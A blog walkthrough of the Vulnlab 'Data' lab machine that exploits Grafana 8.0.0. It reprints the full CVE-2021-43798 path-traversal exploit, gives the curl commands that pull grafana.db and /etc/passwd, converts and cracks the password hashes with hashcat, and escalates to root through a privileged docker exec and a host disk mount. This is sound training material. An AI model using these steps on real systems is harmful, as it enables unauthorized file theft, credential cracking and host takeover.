Vulnlab Data Walkthrough by Yunolay (LFI with path traversal, Docker privileged user)

コーヒーの支援お待ちしております☕

I look forward to your coffee support ☕

Buy Me a Coffee

この記事を読むのにかかる時間 8

Vulnlab Data Walkthrough by Yunolay (LFI with path traversal, Docker privileged user)

Overview

  • Data (Solo, Linux)

    • Junior Level Linux Machine
    • You will learn about getting a foothold through a CVE, cracking custom hashes & privileged docker containers

User

Crack those Hashes (rockyou.txt is enough).

Root

Look into privileged containers.

Nmap Scan

I first scanned it normally with nmap.

$ nmap -sCV -p- --min-rate 5000 10.10.87.245
...
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 5b:4f:d2:4f:e3:e9:0d:1f:6f:12:17:63:d3:de:ee:08 (RSA)
| 256 d0:a2:67:3d:82:24:4d:11:9e:d5:99:54:54:ff:f4:ba (ECDSA)
|_ 256 b0:6f:92:6b:09:b2:53:6c:88:77:d5:f6:2c:61:07:57 (ED25519)
3000/tcp open ppp?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
| Content-Type: text/html; charset=utf-8
| Expires: -1
| Location: /login
| Pragma: no-cache
| Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date: Wed, 25 Oct 2023 11:38:32 GMT
| Content-Length: 29
| href="/login">Found</a>.
| GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
| Content-Type: text/html; charset=utf-8
| Expires: -1
| Location: /login
| Pragma: no-cache
| Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date: Wed, 25 Oct 2023 11:37:56 GMT
| Content-Length: 29
| href="/login">Found</a>.
| HTTPOptions:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
| Expires: -1
| Location: /login
| Pragma: no-cache
| Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date: Wed, 25 Oct 2023 11:38:02 GMT
|_ Content-Length: 0
4563/tcp filtered amahi-anywhere
10105/tcp filtered unknown
17766/tcp filtered unknown
19906/tcp filtered unknown
22421/tcp filtered unknown
22890/tcp filtered unknown
23329/tcp filtered unknown
27632/tcp filtered unknown
28863/tcp filtered unknown
30034/tcp filtered unknown
30252/tcp filtered unknown
30606/tcp filtered unknown
32188/tcp filtered unknown
45055/tcp filtered unknown
47758/tcp filtered unknown
52309/tcp filtered unknown
62317/tcp filtered unknown
62824/tcp filtered unknown
...

What is interesting is the service open on port 3000.
When viewed in a browser, the Grafana login page was displayed.

Grafana – Port 3000

It looks like it’s a web service that’s open on port 3000. I’ll check it out first.

When I looked at the login page, it said that the version was v8.0.0 (41f0542c1e).

First of all, I looked into what Grafana is.

Grafana is a multi-platform open source analytics and interactive visualisation web application.

Quotation source : Websites using Grafana

Regarding Grafana, the above quote is as follows.

I found the source code on GitHub.

I used searchsploit to check for known vulnerabilities.

“Grafana 8.3.0 – Directory Traversal and Arbit” may be affected.

$ searchsploit Grafana
---------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------- ---------------------------------
Grafana 7.0.1 - Denial of Service (PoC) | linux/dos/48638.sh
Grafana 8.3.0 - Directory Traversal and Arbit | multiple/webapps/50581.py
Grafana <=6.2.4 - HTML Injection | typescript/webapps/51073.txt
---------------------------------------------- ---------------------------------

Copy the poc found by searchsploit locally.

$ searchsploit -m multiple/webapps/50581.py
Exploit: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
URL: https://www.exploit-db.com/exploits/50581
Path: /usr/share/exploitdb/exploits/multiple/webapps/50581.py
Codes: CVE-2021-43798
Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/kali/vulnlab/Data/50581.py

Let’s take a closer look at poc.

50581.py

# Exploit Title: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
# Date: 08/12/2021
# Exploit Author: s1gh
# Vendor Homepage: https://grafana.com/
# Vulnerability Details: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
# Version: V8.0.0-beta1 through V8.3.0
# Description: Grafana versions 8.0.0-beta1 through 8.3.0 is vulnerable to directory traversal, allowing access to local files.
# CVE: CVE-2021-43798
# Tested on: Debian 10
# References: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p47p

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import argparse
import sys
from random import choice

plugin_list = [
    "alertlist",
    "annolist",
    "barchart",
    "bargauge",
    "candlestick",
    "cloudwatch",
    "dashlist",
    "elasticsearch",
    "gauge",
    "geomap",
    "gettingstarted",
    "grafana-azure-monitor-datasource",
    "graph",
    "heatmap",
    "histogram",
    "influxdb",
    "jaeger",
    "logs",
    "loki",
    "mssql",
    "mysql",
    "news",
    "nodeGraph",
    "opentsdb",
    "piechart",
    "pluginlist",
    "postgres",
    "prometheus",
    "stackdriver",
    "stat",
    "state-timeline",
    "status-histor",
    "table",
    "table-old",
    "tempo",
    "testdata",
    "text",
    "timeseries",
    "welcome",
    "zipkin"
]

def exploit(args):
    s = requests.Session()
    headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.' }

    while True:
        file_to_read = input('Read file > ')

        try:
            url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read
            req = requests.Request(method='GET', url=url, headers=headers)
            prep = req.prepare()
            prep.url = url
            r = s.send(prep, verify=False, timeout=3)

            if 'Plugin file not found' in r.text:
                print('[-] File not found\n')
            else:
                if r.status_code == 200:
                    print(r.text)
                else:
                    print('[-] Something went wrong.')
                    return
        except requests.exceptions.ConnectTimeout:
            print('[-] Request timed out. Please check your host settings.\n')
            return
        except Exception:
            pass

def main():
    parser = argparse.ArgumentParser(description="Grafana V8.0.0-beta1 - 8.3.0 - Directory Traversal and Arbitrary File Read")
    parser.add_argument('-H',dest='host',required=True, help="Target host")
    args = parser.parse_args()

    try:
        exploit(args)
    except KeyboardInterrupt:
        return


if __name__ == '__main__':
    main()
    sys.exit(0)

Details of the vulnerability can be found in the link below.
There is a Path Traversal with CVE-2021-43798.

The following post was helpful for determining what files to read using CVE-2021-43798.

There is one early writeup that discuss exfiltrating the SQLite database that backs Grafana.

It seems like it would be a good idea to get /var/lib/grafana/grafana.db with LFI.

The poc “50581.py” described above is a code that only reads the file, so it is tedious to modify the poc to download grafana.db locally, so I think it is simpler to use curl or wget.

I downloaded /var/lib/grafana/grafana.db using the curl command as mentioned in the article above.

This worked fine.

What we have to be careful about is that we have to pass “–path-as-is” as an argument to the curl command.

If no arguments are passed, just HTML will be saved.

$ curl --path-as-is http://10.10.87.245:3000/public/plugins/welcome/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 584k 100 584k 0 0 267k 0 0:00:02 0:00:02 --:--:-- 267k

$ file grafana.db
grafana.db: SQLite 3.x database, last written using SQLite version 3035004, file counter 349, database pages 146, cookie 0x109, schema 4, UTF-8, version-valid-for 349

I checked the contents of the database using “sqlitebrowser”.

$ sqlitebrowser grafana.db

There are many tables, but the first table we should look at is the “user” table.

I was able to see records including hashes and salts for admin and boris’ emails and passwords.

login:email:name:password:salt:rands...
admin:admin@localhost::7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8:YObSoLj55S:hLLY6QQ4Y6
boris:boris@data.vl:boris:dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8:LCBhdtJWjl:mYl941ma8w

Once again, this post contains a go script that converts Grafana user table records so that Hashcat can read them in order to crack hashes.

// grab the usernames, passwords and salts from the downloaded db
rows, err := db.Query("select email,password,salt,is_admin from user")
if err != nil {
return
}
defer rows.Close()

for rows.Next() {
var email string
var password string
var salt string
err = rows.Scan(&email, &password, &salt)
if err != nil {
return false
}

decoded_hash, _ := hex.DecodeString(password)
hash64 := b64.StdEncoding.EncodeToString([]byte(decoded_hash))
salt64 := b64.StdEncoding.EncodeToString([]byte(salt))
_, _ = hash_file.WriteString("sha256:10000:" + salt64 + ":" + hash64 + "\n")
}

I rewrote the go script to python and wrote a script to convert the boris and admin hashes so that Hashcat can understand them.

import hashlib
import base64

def calculate_hash(password, salt):
    decoded_hash = bytes.fromhex(password)
    salt_base64 = base64.b64encode(salt.encode('utf-8')).decode('utf-8')
    hash_base64 = base64.b64encode(decoded_hash).decode('utf-8')
    return f'sha256:10000:{salt_base64}:{hash_base64}'

# boris
boris_password = "dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8"
boris_salt = "LCBhdtJWjl"
boris_hash = calculate_hash(boris_password, boris_salt)

# admin
admin_password = "7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8"
admin_salt = "YObSoLj55S"
admin_hash = calculate_hash(admin_password, admin_salt)

print(f"[+] Boris hash: {boris_hash}")
print(f"[+] Admin hash: {admin_hash}")

with open("hashes.txt", "w") as file:
    file.write(boris_hash + "\n")
    file.write(admin_hash + "\n")

I have also uploaded the same script to gist.

Now in a format that hashcat can understand.

$ cat hashes.txt
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=
sha256:10000:WU9iU29MajU1Uw==:epGeS76Vz1EE7fNU7i5iNO+sHKH4FCaESiTE32ExMizzcjySFkthcunnP696TCBy+Pg=

This hash is PBKDF2-SHA256, so we need to run hashcat in mode 10900.

$ hashcat -m 10900 hashes.txt /usr/share/wordlists/rockyou.txt -o cracked.out
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 4.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-sandybridge-13th Gen Intel(R) Core(TM) i9-13900KF, 2909/5882 MB (1024 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

...

I was able to crack boris’ password immediately.

It turns out that the password for “boris” is “beautiful1”.

$ cat cracked.out
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=:beautiful1

SSH – Boris

Connect to ssh using user boris using boris’ cracked password “beautiful1”.

This worked fine. I got boris’ ssh shell.

$ ssh boris@10.10.87.245
...
boris@10.10.87.245's password:
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 5.4.0-1060-aws x86_64)
...
boris@ip-10-10-10-11:~$

There is a flag in boris’ /home directory, and I got the user flag.

boris@ip-10-10-10-11:~$ pwd
/home/boris
boris@ip-10-10-10-11:~$ ls
snap user.txt
boris@ip-10-10-10-11:~$ cat user.txt
VL{<REDACTED>}

Privilege Escalation – Root

I first checked “sudo -l”.

I found “(root) NOPASSWD: /snap/bin/docker exec *”.

This seems useful. We can run docker exec as sudo.

boris@ip-10-10-10-11:~$ sudo -l
Matching Defaults entries for boris on ip-10-10-10-11:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User boris may run the following commands on ip-10-10-10-11:
(root) NOPASSWD: /snap/bin/docker exec *

The user grafana did not exist in /etc/passwd when I checked from boris’s ssh shell, but /etc/passwd obtained by Grafana’s LFI grafana exists in.

This is most likely running in a Docker container.

$ curl --path-as-is http://10.10.87.245:3000/public/plugins/welcome/../../../../../../../../etc/passwd -o passwd
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1230 100 1230 0 0 2259 0 --:--:-- --:--:-- --:--:-- 2261

$ cat passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin

If -h or –hostname is not specified when creating a Docker container, hostname will be the container name.

I checked the hostname because we can use LFI in Grafana.

Container name “e6ff5b1cbc85” was obtained.

$ curl --path-as-is http://10.10.87.245:3000/public/plugins/welcome/../../../../../../../../etc/hostname -o hostname
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 13 100 13 0 0 23 0 --:--:-- --:--:-- --:--:-- 23

$ cat hostname
e6ff5b1cbc85

It’s embarrassing to say, but I’m not very familiar with Docker, so I had to refer to the documentation.

The documentation says that UID can be used with the “–privileged” and “–user” options as options for docker exec, so this seems to be useful.

The following command example may be helpful.

Next, execute an interactive sh shell on the container.

$ docker exec -it mycontainer sh

Quotation source : docker exec | Docker Docs

We can login to the container as privileged user.

boris@ip-10-10-10-11:~$ sudo /snap/bin/docker exec --privileged --user 0 -i -t e6ff5b1cbc85 /bin/bash
bash-5.1#

Check the disk partition information using the “fdisk -l” command.

bash-5.1# fdisk -l
Disk /dev/xvda: 8192 MB, 8589934592 bytes, 16777216 sectors
6367 cylinders, 85 heads, 31 sectors/track
Units: sectors of 1 * 512 = 512 bytes

Device Boot StartCHS EndCHS StartLBA EndLBA Sectors Size Id Type
/dev/xvda1 * 0,32,33 20,84,31 2048 16777182 16775135 8190M 83 Linux

I created the “/mnt/test” directory and mounted “/dev/xvda1” to the “/mnt/test” directory.

bash-5.1# cd /mnt
bash-5.1# mkdir test
bash-5.1# mount /dev/xvda1 /mnt/test

Finally I was able to get the root flag.

bash-5.1# pwd
/mnt/test/root
bash-5.1# ls
root.txt snap
bash-5.1# cat root.txt
VL{<REDACTED>}

Thoughts

As I mentioned in the article, I was not used to using Docker and was only used to using already completed containers, so I was able to quickly discover Grafana’s vulnerabilities, but I was not used to using Docker. Therefore it was difficult to exploit.

It’s not like I haven’t encountered it several times. I didn’t know much about privilege escalation using Docker, so it was a great learning experience.

 Reference

Walkthroughs

コーヒーの支援お待ちしております☕

I look forward to your coffee support ☕

Buy Me a Coffee

シェアする

  • このエントリーをはてなブックマークに追加

フォローする